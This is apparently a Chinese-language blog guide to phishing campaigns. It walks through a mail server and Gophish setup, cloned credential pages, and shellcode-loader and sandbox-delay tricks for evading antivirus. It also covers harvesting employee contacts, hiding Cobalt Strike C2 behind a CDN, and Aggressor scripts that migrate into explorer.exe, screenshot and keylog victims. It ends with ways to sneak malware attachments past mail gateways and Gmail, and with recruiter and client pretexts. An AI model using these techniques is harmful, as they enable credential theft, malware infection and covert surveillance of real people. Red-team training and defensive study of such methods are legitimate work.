跳到主要内容

钓fish

环境相关

这里我准备了两台vps(其中一台为centos8装邮服,这里需注意vps供应商是否支持邮服端口),一个域名

ewomail安装

官方安装文档:http://doc.ewomail.com/docs/ewomail/changguipeizhi

  1. 关闭selinux

    vi /etc/sysconfig/selinux
    SELINUX=enforcing 改为 SELINUX=disabled
  2. 安装(国外服务器,国内去掉en即可)

    yum -y install git
    cd /root
    git clone https://github.com/gyxuehu/EwoMail.git
    cd /root/EwoMail/install
    #需要输入一个邮箱域名,不需要前缀,列如下面的ewomail.cn,域名后面要加空格加en。ewomail.cn替换为我们注册的邮件域名
    以上安装下来有以下奇奇怪怪的问题,折腾了一下午还是解决了,提前安装以下依赖并修改下载地址(下面有说)再安装
    dnf --enablerepo=powertools install oniguruma-devel
    dnf --enablerepo=powertools install perl-IO-stringy
    dnf install mariadb-connector-c

    sh ./start.sh ewomail.cn en

centos8碰到了包的问题,执行以下命令再进行安装(参考https://pkgs.org/,https://blog.csdn.net/m0_37886429/article/details/129079609)

image-20230918155004483

dnf --enablerepo=powertools install oniguruma-devel
dnf --enablerepo=powertools install perl-IO-stringy
dnf install dovecot

image-20230918162424253

这直接文件没了,找了半天地址(因为命令加了en,下载地址为国外的,这个国外的已经无了),把这个地址改成 http://npm.ewomail.com/ewomail-npm-1.15.1-el8.tar.gz

访问http://IP:8010即可访问到邮箱后台,web邮件系统为http://IP:8000(默认口令admin,ewomail123)

cat /ewomail/config.ini #查看数据库密码
  1. 配置邮箱,在域名供应商处进行配置,配置dkim值(DKIM是电子邮件验证标准,域名密钥识别邮件标准,主要是用来防止被判定为垃圾邮件),需要到服务器先使用命令查看,然后配置一条dkim._domainkey的txt记录

    amavisd -c /etc/amavisd/amavisd.conf showkeys

    image-20230918183717696

    http://www.ewomail.com/list-20.html DKIM整理网站格式化一下,放到txt记录中

    image-20230918212814024

    image-20230918184353638

    解析好相关域名

    image-20230919101608127

  2. 接着在邮箱系统如下位置配置自己的域名(默认安装的时候自动填上去了)

    image-20230918191003964

  1. 修改邮服上/etc/hostname文件,将主机修改为mail.xxx

    再到/etc/hosts里配置如下信息

    127.0.0.1 mail.xxx smtp.xxx imap.xxx

    这里的xxx为你的域名,设置完后重启生效。

  2. 添加一个邮箱用户

    image-20230918193134918

    进入web邮箱系统http://IP:8000

    image-20230918193303742

gophish安装

使用docker进行快捷安装

docker pull gophish/gophish
docker run -it -d --rm --name gophish -p 3332:3333 -p 8003:80 -p 8004:8080 gophish/gophish
docker logs gophish #查看安装日志中的登录密码

登录后依次配置gophish的各个模块

  1. 设置Sending Profile

    from:填写你刚才ewomail添加的邮箱账号,host:填写你注册域名:25,username:也是填写ewomail添加的邮箱账号,密码;填写添加邮箱账号是设置的密码,保存即可。

    image-20230918200039319

下面进行钓鱼测试

测试

  1. 设置Landing Pages用于钓鱼的页面

    使用save page将钓鱼页面复制下来,这里以下面这个为例

    image-20230919151217881

  2. 配置Email Templates

    可以到https://www.liveagent.com/templates/password-reset/网站里找个模板

    image-20230919154422548

  3. 配置用户和组(要发送的人)

    image-20230919154939189

  4. 配置Campaigns模块,发送钓鱼邮件即可

社交账号

免杀马

刚开始推荐学习shellcode loader中的一些编写思路ShellcodeLoader 基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存

  • 申请内存:VirtualAlloc
  • 载入内存:memcpy
  • 执行内存:CreateThread WaitForSingleObject 针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。

平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,增加了签名功能。360QVM_bypass-public

bypass沙箱

为了延长马子存活时间,基本的沙箱对抗少不了,投递的木马大概率都得过一遍沙箱,以微步沙箱为例,最简单的循环打印。使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。

//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
func add() {
start := time.Now() //获取当前时间
//1000000 1m2.793228s
sum, i := 0, 1
for i < 1000000 {
fmt.Println(i)
sum += i
i++
}
elapsed := time.Since(start)
fmt.Println("该函数执行完成耗时:", elapsed)
}

将如上代码放在shellcode执行前就行。

人员信息收集

  • 企查查、小蓝本、fofa、小程序、APP、抖音、牛客网
  • 零零信安直接搜索公司名称,得到一些邮箱地址 https://0.zone
  • 拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。如下组合: @xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式

C2搭建准备

cs基本隐藏:套层CDN然后c2上线端口反代下。推荐cs插件脚本: PushPlus2(常用上线提醒、自动迁移进程)

#自动迁移进程
sub callback{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
# 要迁移的进程
$listener = "ecloud";
# 监听器名字,此处为ecloud,记得修改为自己的
if ($2 ismatch $regex){
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1){
$arch = "x64";
}
else{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid")){
bps($1, &callback);
}

还有上线自动截图功能,就算目标掉了起码还有张图证明上线过

#只截一张图
#binput($1, "screenshot");
#bscreenshot($1);

#连续截图
binput($1, "screenwatch");
bscreenwatch($1);

其他的上线自动执行shell命令、键盘记录看自己需求吧

#执行自定义cmd命令
bshell($1, "ipconfig /all");
#键盘记录
bkeylogger($1);

还有其他需求可以去翻翻文档Aggressor Script

邮件网关/沙箱

默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。

  • 针对正文 不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。
  • 针对附件 文件名加密,解压密码写在附件名上。

Gmail邮箱

实战中,在给Gmail邮箱发送马儿附件的时候,发现Gmail做的限制挺严格。无论何种格式/扩展名的压缩包,在检查压缩包内文件内容与扩展名两项上,至少要允许Gmail检查其中一项,两项皆不允许Gmail检查时,Gmail直接禁止压缩包作为附件。Gmail一般情况下只检查压缩包内第一层的扩展名,并不检查第二层的扩展名,但压缩包内第一层的扩展名是zip时,Gmail会检查第二层的扩展名。

因此,我们需要进行各种组合,生成Gmail放行的邮件。

后面使用该方案成功发送马儿:先tar再带密码生成zip

参考文章:http://www.hackdig.com/05/hack-668819.htm

开钓

通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。

  • 伪装求职:准备简历话术
  • 伪装HR:准备招聘资料话术
  • 伪装客户:需求文档话术

上线后的操作

参考文章https://xz.aliyun.com/t/12879

20230923151510-eed5bdd0-59e0-1(1)